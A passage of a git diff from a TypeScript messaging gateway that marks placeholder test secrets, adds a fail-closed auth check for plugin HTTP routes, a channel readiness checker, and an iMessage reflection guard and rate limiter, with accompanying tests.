recoveredEvents = drainSystemEvents(sessionKey); expect(recoveredEvents.some((event) => event.includes("[SECRETS_RELOADER_RECOVERED]"))).toBe( @@ -542,7 +542,7 @@ describe("gateway hot reload", () => { it("serves secrets.reload immediately after startup without race failures", async () => { await writeEnvRefConfig(); - process.env.OPENAI_API_KEY = "sk-startup"; + process.env.OPENAI_API_KEY = "sk-startup"; // pragma: allowlist secret const { server, ws } = await startServerWithClient(); try { await connectOk(ws); diff --git a/src/gateway/server.skills-status.test.ts b/src/gateway/server.skills-status.test.ts index 746574dc977..3aa3c82a816 100644 --- a/src/gateway/server.skills-status.test.ts +++ b/src/gateway/server.skills-status.test.ts @@ -11,7 +11,7 @@ describe("gateway skills.status", () => { await withEnvAsync( { OPENCLAW_BUNDLED_SKILLS_DIR: path.join(process.cwd(), "skills") }, async () => { - const secret = "discord-token-secret-abc"; + const secret = "discord-token-secret-abc"; // pragma: allowlist secret const { writeConfigFile } = await import("../config/config.js"); await writeConfigFile({ session: { mainKey: "main-test" }, diff --git a/src/gateway/server.talk-config.test.ts b/src/gateway/server.talk-config.test.ts index 107d8a83263..42e200d8968 100644 --- a/src/gateway/server.talk-config.test.ts +++ b/src/gateway/server.talk-config.test.ts @@ -67,7 +67,7 @@ describe("gateway talk.config", () => { await writeConfigFile({ talk: { voiceId: "voice-123", - apiKey: "secret-key-abc", + apiKey: "secret-key-abc", // pragma: allowlist secret }, session: { mainKey: "main-test", @@ -103,7 +103,7 @@ describe("gateway talk.config", () => { }); it("requires operator.talk.secrets for includeSecrets", async () => { - await writeTalkConfig({ apiKey: "secret-key-abc" }); + await writeTalkConfig({ apiKey: "secret-key-abc" }); // pragma: allowlist secret await withServer(async (ws) => { await connectOperator(ws, ["operator.read"]); @@ -114,7 +114,7 @@ describe("gateway talk.config", () => { }); it("returns secrets for operator.talk.secrets scope", async () => { - await writeTalkConfig({ apiKey: "secret-key-abc" }); + await writeTalkConfig({ apiKey: "secret-key-abc" }); // pragma: allowlist secret await withServer(async (ws) => { await connectOperator(ws, ["operator.read", "operator.write", "operator.talk.secrets"]); diff --git a/src/gateway/server/plugins-http.test.ts b/src/gateway/server/plugins-http.test.ts index 0610798a7df..391792b0022 100644 --- a/src/gateway/server/plugins-http.test.ts +++ b/src/gateway/server/plugins-http.test.ts @@ -110,6 +110,80 @@ describe("createGatewayPluginRequestHandler", () => { expect(second).toHaveBeenCalledTimes(1); }); + it("fails closed when a matched gateway route reaches dispatch without auth", async () => { + const exactPluginHandler = vi.fn(async () => false); + const prefixGatewayHandler = vi.fn(async () => true); + const handler = createGatewayPluginRequestHandler({ + registry: createTestRegistry({ + httpRoutes: [ + createRoute({ + path: "/plugin/secure/report", + match: "exact", + auth: "plugin", + handler: exactPluginHandler, + }), + createRoute({ + path: "/plugin/secure", + match: "prefix", + auth: "gateway", + handler: prefixGatewayHandler, + }), + ], + }), + log: createPluginLog(), + }); + + const { res } = makeMockHttpResponse(); + const handled = await handler( + { url: "/plugin/secure/report" } as IncomingMessage, + res, + undefined, + { + gatewayAuthSatisfied: false, + }, + ); + expect(handled).toBe(false); + expect(exactPluginHandler).not.toHaveBeenCalled(); + expect(prefixGatewayHandler).not.toHaveBeenCalled(); + }); + + it("allows gateway route fallthrough only after gateway auth succeeds", async () => { + const exactPluginHandler = vi.fn(async () => false); + const prefixGatewayHandler = vi.fn(async () => true); + const handler = createGatewayPluginRequestHandler({ + registry: createTestRegistry({ + httpRoutes: [ + createRoute({ + path: "/plugin/secure/report", + match: "exact", + auth: "plugin", + handler: exactPluginHandler, + }), + createRoute({ + path: "/plugin/secure", + match: "prefix", + auth: "gateway", + handler: prefixGatewayHandler, + }), + ], + }), + log: createPluginLog(), + }); + + const { res } = makeMockHttpResponse(); + const handled = await handler( + { url: "/plugin/secure/report" } as IncomingMessage, + res, + undefined, + { + gatewayAuthSatisfied: true, + }, + ); + expect(handled).toBe(true); + expect(exactPluginHandler).toHaveBeenCalledTimes(1); + expect(prefixGatewayHandler).toHaveBeenCalledTimes(1); + }); + it("matches canonicalized route variants", async () => { const routeHandler = vi.fn(async (_req, res: ServerResponse) => { res.statusCode = 200; @@ -189,4 +263,14 @@ describe("plugin HTTP route auth checks", () => { expect(shouldEnforceGatewayAuthForPluginPath(registry, decodeOverflowPublicPath)).toBe(true); expect(shouldEnforceGatewayAuthForPluginPath(registry, "/not-plugin")).toBe(false); }); + + it("enforces auth when any overlapping matched route requires gateway auth", () => { + const registry = createTestRegistry({ + httpRoutes: [ + createRoute({ path: "/plugin/secure/report", match: "exact", auth: "plugin" }), + createRoute({ path: "/plugin/secure", match: "prefix", auth: "gateway" }), + ], + }); + expect(shouldEnforceGatewayAuthForPluginPath(registry, "/plugin/secure/report")).toBe(true); + }); }); diff --git a/src/gateway/server/plugins-http.ts b/src/gateway/server/plugins-http.ts index 2fd0554bf10..50114a33af6 100644 --- a/src/gateway/server/plugins-http.ts +++ b/src/gateway/server/plugins-http.ts @@ -5,6 +5,7 @@ import { resolvePluginRoutePathContext, type PluginRoutePathContext, } from "./plugins-http/path-context.js"; +import { matchedPluginRoutesRequireGatewayAuth } from "./plugins-http/route-auth.js"; import { findMatchingPluginHttpRoutes } from "./plugins-http/route-match.js"; export { @@ -24,6 +25,7 @@ export type PluginHttpRequestHandler = ( req: IncomingMessage, res: ServerResponse, pathContext?: PluginRoutePathContext, + dispatchContext?: { gatewayAuthSatisfied?: boolean }, ) => Promise; export function createGatewayPluginRequestHandler(params: { @@ -31,7 +33,7 @@ export function createGatewayPluginRequestHandler(params: { log: SubsystemLogger; }): PluginHttpRequestHandler { const { registry, log } = params; - return async (req, res, providedPathContext) => { + return async (req, res, providedPathContext, dispatchContext) => { const routes = registry.httpRoutes ?? []; if (routes.length === 0) { return false; @@ -47,6 +49,13 @@ export function createGatewayPluginRequestHandler(params: { if (matchedRoutes.length === 0) { return false; } + if ( + matchedPluginRoutesRequireGatewayAuth(matchedRoutes) && + dispatchContext?.gatewayAuthSatisfied === false + ) { + log.warn(`plugin http route blocked without gateway auth (${pathContext.canonicalPath})`); + return false; + } for (const route of matchedRoutes) { try { diff --git a/src/gateway/server/plugins-http/route-auth.ts b/src/gateway/server/plugins-http/route-auth.ts index 7549bde34b3..577a0babdfb 100644 --- a/src/gateway/server/plugins-http/route-auth.ts +++ b/src/gateway/server/plugins-http/route-auth.ts @@ -6,6 +6,12 @@ import { } from "./path-context.js"; import { findMatchingPluginHttpRoutes } from "./route-match.js"; +export function matchedPluginRoutesRequireGatewayAuth( + routes: readonly Pick[number], "auth">[], +): boolean { + return routes.some((route) => route.auth === "gateway"); +} + export function shouldEnforceGatewayAuthForPluginPath( registry: PluginRegistry, pathnameOrContext: string | PluginRoutePathContext, @@ -20,9 +26,5 @@ export function shouldEnforceGatewayAuthForPluginPath( if (isProtectedPluginRoutePathFromContext(pathContext)) { return true; } - const route = findMatchingPluginHttpRoutes(registry, pathContext)[0]; - if (!route) { - return false; - } - return route.auth === "gateway"; + return matchedPluginRoutesRequireGatewayAuth(findMatchingPluginHttpRoutes(registry, pathContext)); } diff --git a/src/gateway/server/readiness.test.ts b/src/gateway/server/readiness.test.ts new file mode 100644 index 00000000000..2ad29d3655a --- /dev/null +++ b/src/gateway/server/readiness.test.ts @@ -0,0 +1,217 @@ +import { describe, expect, it, vi } from "vitest"; +import type { ChannelId } from "../../channels/plugins/index.js"; +import type { ChannelAccountSnapshot } from "../../channels/plugins/types.js"; +import type { ChannelManager, ChannelRuntimeSnapshot } from "../server-channels.js"; +import { createReadinessChecker } from "./readiness.js"; + +function snapshotWith( + accounts: Record>, +): ChannelRuntimeSnapshot { + const channels: ChannelRuntimeSnapshot["channels"] = {}; + const channelAccounts: ChannelRuntimeSnapshot["channelAccounts"] = {}; + + for (const [channelId, accountSnapshot] of Object.entries(accounts)) { + const resolved = { accountId: "default", ...accountSnapshot } as ChannelAccountSnapshot; + channels[channelId as ChannelId] = resolved; + channelAccounts[channelId as ChannelId] = { default: resolved }; + } + + return { channels, channelAccounts }; +} + +function createManager(snapshot: ChannelRuntimeSnapshot): ChannelManager { + return { + getRuntimeSnapshot: vi.fn(() => snapshot), + startChannels: vi.fn(), + startChannel: vi.fn(), + stopChannel: vi.fn(), + markChannelLoggedOut: vi.fn(), + isManuallyStopped: vi.fn(() => false), + resetRestartAttempts: vi.fn(), + }; +} + +function createHealthyDiscordManager(startedAt: number, lastEventAt: number): ChannelManager { + return createManager( + snapshotWith({ + discord: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt, + }, + }), + ); +} + +describe("createReadinessChecker", () => { + it("reports ready when all managed channels are healthy", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createHealthyDiscordManager(startedAt, Date.now() - 1_000); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("ignores disabled and unconfigured channels", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: false, + enabled: false, + configured: true, + lastStartAt: startedAt, + }, + telegram: { + running: false, + enabled: true, + configured: false, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("uses startup grace before marking disconnected channels not ready", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 30_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: false, + enabled: true, + configured: true, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 30_000 }); + vi.useRealTimers(); + }); + + it("reports disconnected managed channels after startup grace", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: false, + enabled: true, + configured: true, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: false, failing: ["discord"], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("keeps restart-pending channels ready during reconnect backoff", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: false, + restartPending: true, + reconnectAttempts: 3, + enabled: true, + configured: true, + lastStartAt: startedAt - 30_000, + lastStopAt: Date.now() - 5_000, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("treats stale-socket channels as ready to avoid pulling healthy idle pods", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 31 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: Date.now() - 31 * 60_000, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 1_860_000 }); + vi.useRealTimers(); + }); + + it("keeps telegram long-polling channels ready without stale-socket classification", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 31 * 60_000; + const manager = createManager( + snapshotWith({ + telegram: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: null, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 1_860_000 }); + vi.useRealTimers(); + }); + + it("caches readiness snapshots briefly to keep repeated probes cheap", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createHealthyDiscordManager(startedAt, Date.now() - 1_000); + + const readiness = createReadinessChecker({ + channelManager: manager, + startedAt, + cacheTtlMs: 1_000, + }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.advanceTimersByTime(500); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_500 }); + expect(manager.getRuntimeSnapshot).toHaveBeenCalledTimes(1); + + vi.advanceTimersByTime(600); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 301_100 }); + expect(manager.getRuntimeSnapshot).toHaveBeenCalledTimes(2); + vi.useRealTimers(); + }); +}); diff --git a/src/gateway/server/readiness.ts b/src/gateway/server/readiness.ts new file mode 100644 index 00000000000..527dad24949 --- /dev/null +++ b/src/gateway/server/readiness.ts @@ -0,0 +1,80 @@ +import type { ChannelAccountSnapshot } from "../../channels/plugins/types.js"; +import { + DEFAULT_CHANNEL_CONNECT_GRACE_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, + evaluateChannelHealth, + type ChannelHealthPolicy, + type ChannelHealthEvaluation, +} from "../channel-health-policy.js"; +import type { ChannelManager } from "../server-channels.js"; + +export type ReadinessResult = { + ready: boolean; + failing: string[]; + uptimeMs: number; +}; + +export type ReadinessChecker = () => ReadinessResult; + +const DEFAULT_READINESS_CACHE_TTL_MS = 1_000; + +function shouldIgnoreReadinessFailure( + accountSnapshot: ChannelAccountSnapshot, + health: ChannelHealthEvaluation, +): boolean { + if (health.reason === "unmanaged" || health.reason === "stale-socket") { + return true; + } + // Channel restarts spend time in backoff with running=false before the next + // lifecycle re-enters startup grace. Keep readiness green during that handoff + // window, but still surface hard failures once restart attempts are exhausted. + return health.reason === "not-running" && accountSnapshot.restartPending === true; +} + +export function createReadinessChecker(deps: { + channelManager: ChannelManager; + startedAt: number; + cacheTtlMs?: number; +}): ReadinessChecker { + const { channelManager, startedAt } = deps; + const cacheTtlMs = Math.max(0, deps.cacheTtlMs ?? DEFAULT_READINESS_CACHE_TTL_MS); + let cachedAt = 0; + let cachedState: Omit | null = null; + + return (): ReadinessResult => { + const now = Date.now(); + const uptimeMs = now - startedAt; + if (cachedState && now - cachedAt < cacheTtlMs) { + return { ...cachedState, uptimeMs }; + } + + const snapshot = channelManager.getRuntimeSnapshot(); + const failing: string[] = []; + + for (const [channelId, accounts] of Object.entries(snapshot.channelAccounts)) { + if (!accounts) { + continue; + } + for (const accountSnapshot of Object.values(accounts)) { + if (!accountSnapshot) { + continue; + } + const policy: ChannelHealthPolicy = { + now, + staleEventThresholdMs: DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, + channelConnectGraceMs: DEFAULT_CHANNEL_CONNECT_GRACE_MS, + channelId, + }; + const health = evaluateChannelHealth(accountSnapshot, policy); + if (!health.healthy && !shouldIgnoreReadinessFailure(accountSnapshot, health)) { + failing.push(channelId); + break; + } + } + } + + cachedAt = now; + cachedState = { ready: failing.length === 0, failing }; + return { ...cachedState, uptimeMs }; + }; +} diff --git a/src/gateway/startup-auth.test.ts b/src/gateway/startup-auth.test.ts index b5c4e19bdee..c2ad8a51915 100644 --- a/src/gateway/startup-auth.test.ts +++ b/src/gateway/startup-auth.test.ts @@ -122,7 +122,7 @@ describe("ensureGatewayStartupAuth", () => { }, }, env: { - GW_PASSWORD: "resolved-password", + GW_PASSWORD: "resolved-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, persist: true, }); @@ -252,7 +252,7 @@ describe("ensureGatewayStartupAuth", () => { gateway: { auth: { token: "configured-token", - password: "configured-password", + password: "configured-password", // pragma: allowlist secret }, }, }, @@ -279,7 +279,7 @@ describe("ensureGatewayStartupAuth", () => { }, }, env: { - OPENCLAW_GATEWAY_PASSWORD: "password-from-env", + OPENCLAW_GATEWAY_PASSWORD: "password-from-env", // pragma: allowlist secret } as NodeJS.ProcessEnv, persist: true, }); @@ -390,7 +390,7 @@ describe("ensureGatewayStartupAuth", () => { await expectEphemeralGeneratedTokenWhenOverridden({ gateway: { auth: { - password: "configured-password", + password: "configured-password", // pragma: allowlist secret }, }, }); @@ -445,7 +445,7 @@ describe("assertHooksTokenSeparateFromGatewayAuth", () => { auth: { mode: "password", modeSource: "config", - password: "pw", + password: "pw", // pragma: allowlist secret allowTailscale: false, }, }), diff --git a/src/gateway/test-helpers.server.ts b/src/gateway/test-helpers.server.ts index ab5269f09b5..eca3a107e69 100644 --- a/src/gateway/test-helpers.server.ts +++ b/src/gateway/test-helpers.server.ts @@ -339,6 +339,46 @@ async function startGatewayServerWithRetries(params: { throw new Error("failed to start gateway server after retries"); } +async function waitForWebSocketOpen(ws: WebSocket, timeoutMs = 10_000): Promise { + await new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), timeoutMs); + const cleanup = () => { + clearTimeout(timer); + ws.off("open", onOpen); + ws.off("error", onError); + ws.off("close", onClose); + }; + const onOpen = () => { + cleanup(); + resolve(); + }; + const onError = (err: unknown) => { + cleanup(); + reject(err instanceof Error ? err : new Error(String(err))); + }; + const onClose = (code: number, reason: Buffer) => { + cleanup(); + reject(new Error(`closed ${code}: ${reason.toString()}`)); + }; + ws.once("open", onOpen); + ws.once("error", onError); + ws.once("close", onClose); + }); +} + +async function openTrackedWebSocket(params: { + port: number; + headers?: Record; +}): Promise { + const ws = new WebSocket( + `ws://127.0.0.1:${params.port}`, + params.headers ? { headers: params.headers } : undefined, + ); + trackConnectChallengeNonce(ws); + await waitForWebSocketOpen(ws); + return ws; +} + export async function withGatewayServer( fn: (ctx: { port: number; server: Awaited> }) => Promise, opts?: { port?: number; serverOptions?: GatewayServerOptions }, @@ -371,33 +411,10 @@ export async function createGatewaySuiteHarness(opts?: { port: started.port, server: started.server, openWs: async (headers?: Record) => { - const ws = new WebSocket(`ws://127.0.0.1:${started.port}`, headers ? { headers } : undefined); - trackConnectChallengeNonce(ws); - await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), 10_000); - const cleanup = () => { - clearTimeout(timer); - ws.off("open", onOpen); - ws.off("error", onError); - ws.off("close", onClose); - }; - const onOpen = () => { - cleanup(); - resolve(); - }; - const onError = (err: unknown) => { - cleanup(); - reject(err instanceof Error ? err : new Error(String(err))); - }; - const onClose = (code: number, reason: Buffer) => { - cleanup(); - reject(new Error(`closed ${code}: ${reason.toString()}`)); - }; - ws.once("open", onOpen); - ws.once("error", onError); - ws.once("close", onClose); + return await openTrackedWebSocket({ + port: started.port, + headers, }); - return ws; }, close: async () => { await started.server.close(); @@ -431,35 +448,7 @@ export async function startServerWithClient( port = started.port; const server = started.server; - const ws = new WebSocket( - `ws://127.0.0.1:${port}`, - wsHeaders ? { headers: wsHeaders } : undefined, - ); - trackConnectChallengeNonce(ws); - await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), 10_000); - const cleanup = () => { - clearTimeout(timer); - ws.off("open", onOpen); - ws.off("error", onError); - ws.off("close", onClose); - }; - const onOpen = () => { - cleanup(); - resolve(); - }; - const onError = (err: unknown) => { - cleanup(); - reject(err instanceof Error ? err : new Error(String(err))); - }; - const onClose = (code: number, reason: Buffer) => { - cleanup(); - reject(new Error(`closed ${code}: ${reason.toString()}`)); - }; - ws.once("open", onOpen); - ws.once("error", onError); - ws.once("close", onClose); - }); + const ws = await openTrackedWebSocket({ port, headers: wsHeaders }); return { server, ws, port, prevToken: prev, envSnapshot }; } diff --git a/src/hooks/frontmatter.ts b/src/hooks/frontmatter.ts index aa9e75537d3..686f966ccbf 100644 --- a/src/hooks/frontmatter.ts +++ b/src/hooks/frontmatter.ts @@ -1,5 +1,6 @@ import { parseFrontmatterBlock } from "../markdown/frontmatter.js"; import { + applyOpenClawManifestInstallCommonFields, getFrontmatterString, normalizeStringList, parseOpenClawManifestInstallBase, @@ -27,19 +28,12 @@ function parseInstallSpec(input: unknown): HookInstallSpec | undefined { return undefined; } const { raw } = parsed; - const spec: HookInstallSpec = { - kind: parsed.kind as HookInstallSpec["kind"], - }; - - if (parsed.id) { - spec.id = parsed.id; - } - if (parsed.label) { - spec.label = parsed.label; - } - if (parsed.bins) { - spec.bins = parsed.bins; - } + const spec = applyOpenClawManifestInstallCommonFields( + { + kind: parsed.kind as HookInstallSpec["kind"], + }, + parsed, + ); if (typeof raw.package === "string") { spec.package = raw.package; } diff --git a/src/hooks/install.test.ts b/src/hooks/install.test.ts index ad179d5af21..2dba56b1d3b 100644 --- a/src/hooks/install.test.ts +++ b/src/hooks/install.test.ts @@ -409,6 +409,28 @@ describe("installHooksFromNpmSpec", () => { actualIntegrity: "sha512-new", }); }); + + it("rejects bare npm specs that resolve to prerelease versions", async () => { + const run = vi.mocked(runCommandWithTimeout); + mockNpmPackMetadataResult(run, { + id: "@openclaw/test-hooks@0.0.2-beta.1", + name: "@openclaw/test-hooks", + version: "0.0.2-beta.1", + filename: "test-hooks-0.0.2-beta.1.tgz", + integrity: "sha512-beta", + shasum: "betashasum", + }); + + const result = await installHooksFromNpmSpec({ + spec: "@openclaw/test-hooks", + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("prerelease version 0.0.2-beta.1"); + expect(result.error).toContain('"@openclaw/test-hooks@beta"'); + } + }); }); describe("gmail watcher", () => { diff --git a/src/hooks/internal-hooks.ts b/src/hooks/internal-hooks.ts index 625261e3c16..b73dcb75fab 100644 --- a/src/hooks/internal-hooks.ts +++ b/src/hooks/internal-hooks.ts @@ -97,7 +97,7 @@ export type MessageSentHookEvent = InternalHookEvent & { context: MessageSentHookContext; }; -export type MessageTranscribedHookContext = { +type MessageEnrichedBodyHookContext = { /** Sender identifier (e.g., phone number, user ID) */ from?: string; /** Recipient identifier */ @@ -106,8 +106,6 @@ export type MessageTranscribedHookContext = { body?: string; /** Enriched body shown to the agent, including transcript */ bodyForAgent?: string; - /** The transcribed text from audio */ - transcript: string; /** Unix timestamp when the message was received */ timestamp?: number; /** Channel identifier (e.g., "telegram", "whatsapp") */ @@ -132,45 +130,20 @@ export type MessageTranscribedHookContext = { mediaType?: string; }; +export type MessageTranscribedHookContext = MessageEnrichedBodyHookContext & { + /** The transcribed text from audio */ + transcript: string; +}; + export type MessageTranscribedHookEvent = InternalHookEvent & { type: "message"; action: "transcribed"; context: MessageTranscribedHookContext; }; -export type MessagePreprocessedHookContext = { - /** Sender identifier (e.g., phone number, user ID) */ - from?: string; - /** Recipient identifier */ - to?: string; - /** Original raw message body */ - body?: string; - /** Fully enriched body shown to the agent (transcripts, image descriptions, link summaries) */ - bodyForAgent?: string; +export type MessagePreprocessedHookContext = MessageEnrichedBodyHookContext & { /** Transcribed audio text, if the message contained audio */ transcript?: string; - /** Unix timestamp when the message was received */ - timestamp?: number; - /** Channel identifier (e.g., "telegram", "whatsapp") */ - channelId: string; - /** Conversation/chat ID */ - conversationId?: string; - /** Message ID from the provider */ - messageId?: string; - /** Sender user ID */ - senderId?: string; - /** Sender display name */ - senderName?: string; - /** Sender username */ - senderUsername?: string; - /** Provider name */ - provider?: string; - /** Surface name */ - surface?: string; - /** Path to the media file, if present */ - mediaPath?: string; - /** MIME type of the media, if present */ - mediaType?: string; /** Whether this message was sent in a group/channel context */ isGroup?: boolean; /** Group or channel identifier, if applicable */ diff --git a/src/hooks/message-hook-mappers.ts b/src/hooks/message-hook-mappers.ts index be51245a545..1cdd12a93ac 100644 --- a/src/hooks/message-hook-mappers.ts +++ b/src/hooks/message-hook-mappers.ts @@ -213,23 +213,10 @@ export function toInternalMessageTranscribedContext( canonical: CanonicalInboundMessageHookContext, cfg: OpenClawConfig, ): MessageTranscribedHookContext & { cfg: OpenClawConfig } { + const shared = toInternalInboundMessageHookContextBase(canonical); return { - from: canonical.from, - to: canonical.to, - body: canonical.body, - bodyForAgent: canonical.bodyForAgent, + ...shared, transcript: canonical.transcript ?? "", - timestamp: canonical.timestamp, - channelId: canonical.channelId, - conversationId: canonical.conversationId, - messageId: canonical.messageId, - senderId: canonical.senderId, - senderName: canonical.senderName, - senderUsername: canonical.senderUsername, - provider: canonical.provider, - surface: canonical.surface, - mediaPath: canonical.mediaPath, - mediaType: canonical.mediaType, cfg, }; } @@ -238,12 +225,22 @@ export function toInternalMessagePreprocessedContext( canonical: CanonicalInboundMessageHookContext, cfg: OpenClawConfig, ): MessagePreprocessedHookContext & { cfg: OpenClawConfig } { + const shared = toInternalInboundMessageHookContextBase(canonical); + return { + ...shared, + transcript: canonical.transcript, + isGroup: canonical.isGroup, + groupId: canonical.groupId, + cfg, + }; +} + +function toInternalInboundMessageHookContextBase(canonical: CanonicalInboundMessageHookContext) { return { from: canonical.from, to: canonical.to, body: canonical.body, bodyForAgent: canonical.bodyForAgent, - transcript: canonical.transcript, timestamp: canonical.timestamp, channelId: canonical.channelId, conversationId: canonical.conversationId, @@ -255,9 +252,6 @@ export function toInternalMessagePreprocessedContext( surface: canonical.surface, mediaPath: canonical.mediaPath, mediaType: canonical.mediaType, - isGroup: canonical.isGroup, - groupId: canonical.groupId, - cfg, }; } diff --git a/src/imessage/monitor/deliver.ts b/src/imessage/monitor/deliver.ts index 71825be8d0b..fc949d3cfc1 100644 --- a/src/imessage/monitor/deliver.ts +++ b/src/imessage/monitor/deliver.ts @@ -7,6 +7,7 @@ import type { RuntimeEnv } from "../../runtime.js"; import type { createIMessageRpcClient } from "../client.js"; import { sendMessageIMessage } from "../send.js"; import type { SentMessageCache } from "./echo-cache.js"; +import { sanitizeOutboundText } from "./sanitize-outbound.js"; export async function deliverReplies(params: { replies: ReplyPayload[]; @@ -30,7 +31,7 @@ export async function deliverReplies(params: { const chunkMode = resolveChunkMode(cfg, "imessage", accountId); for (const payload of replies) { const mediaList = payload.mediaUrls ?? (payload.mediaUrl ? [payload.mediaUrl] : []); - const rawText = payload.text ?? ""; + const rawText = sanitizeOutboundText(payload.text ?? ""); const text = convertMarkdownTables(rawText, tableMode); if (!text && mediaList.length === 0) { continue; diff --git a/src/imessage/monitor/echo-cache.ts b/src/imessage/monitor/echo-cache.ts index c68ff04b970..06f5ee847f5 100644 --- a/src/imessage/monitor/echo-cache.ts +++ b/src/imessage/monitor/echo-cache.ts @@ -8,7 +8,9 @@ export type SentMessageCache = { has: (scope: string, lookup: SentMessageLookup) => boolean; }; -const SENT_MESSAGE_TEXT_TTL_MS = 5000; +// Keep the text fallback short so repeated user replies like "ok" are not +// suppressed for long; delayed reflections should match the stronger message-id key. +const SENT_MESSAGE_TEXT_TTL_MS = 5_000; const SENT_MESSAGE_ID_TTL_MS = 60_000; function normalizeEchoTextKey(text: string | undefined): string | null { diff --git a/src/imessage/monitor/inbound-processing.ts b/src/imessage/monitor/inbound-processing.ts index 8a4979df965..d042f1f1a0f 100644 --- a/src/imessage/monitor/inbound-processing.ts +++ b/src/imessage/monitor/inbound-processing.ts @@ -30,6 +30,7 @@ import { isAllowedIMessageSender, normalizeIMessageHandle, } from "../targets.js"; +import { detectReflectedContent } from "./reflection-guard.js"; import type { MonitorIMessageOpts, IMessagePayload } from "./types.js"; type IMessageReplyContext = { @@ -214,7 +215,7 @@ export function resolveIMessageInboundDecision(params: { return { kind: "drop", reason: "empty body" }; } - // Echo detection: check if the received message matches a recently sent message (within 5 seconds). + // Echo detection: check if the received message matches a recently sent message. // Scope by conversation so same text in different chats is not conflated. const inboundMessageId = params.message.id != null ? String(params.message.id) : undefined; if (params.echoCache && (messageText || inboundMessageId)) { @@ -237,6 +238,17 @@ export function resolveIMessageInboundDecision(params: { } } + // Reflection guard: drop inbound messages that contain assistant-internal + // metadata markers. These indicate outbound content was reflected back as + // inbound, which causes recursive echo amplification. + const reflection = detectReflectedContent(messageText); + if (reflection.isReflection) { + params.logVerbose?.( + `imessage: dropping reflected assistant content (markers: ${reflection.matchedLabels.join(", ")})`, + ); + return { kind: "drop", reason: "reflected assistant content" }; + } + const replyContext = describeReplyContext(params.message); const createdAt = params.message.created_at ? Date.parse(params.message.created_at) : undefined; const historyKey = isGroup diff --git a/src/imessage/monitor/loop-rate-limiter.test.ts b/src/imessage/monitor/loop-rate-limiter.test.ts new file mode 100644 index 00000000000..d156ffc2c36 --- /dev/null +++ b/src/imessage/monitor/loop-rate-limiter.test.ts @@ -0,0 +1,50 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { createLoopRateLimiter } from "./loop-rate-limiter.js"; + +describe("createLoopRateLimiter", () => { + beforeEach(() => { + vi.useFakeTimers(); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + it("allows messages below the threshold", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 3 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(false); + }); + + it("rate limits at the threshold", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 3 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + }); + + it("does not cross-contaminate conversations", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 2 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + expect(limiter.isRateLimited("conv:2")).toBe(false); + }); + + it("resets after the time window expires", () => { 